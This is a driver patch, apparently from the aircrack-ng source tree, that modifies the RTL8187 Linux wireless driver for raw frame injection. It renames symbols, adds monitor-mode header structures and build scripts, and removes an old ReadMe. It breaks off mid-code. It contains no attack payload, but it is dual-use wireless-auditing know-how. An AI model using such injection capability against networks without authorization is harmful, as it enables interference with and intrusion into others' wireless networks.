memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-01-30 17:38:11.000000000 +0100 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006/makedrv~ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ --- rtl8187_linux_26.1010.0622.2006/makedrv~ 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-01-30 17:39:29.000000000 +0100 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ 2006-06-06 10:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-01-30 17:38:11.000000000 +0100 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-01-30 17:38:11.000000000 +0100 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.1/patches/old/rtl8187_2.6.21v5.patch0000644000000000000000000126676710761053203017720 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-07-13 01:46:27.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-07-13 01:46:27.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return 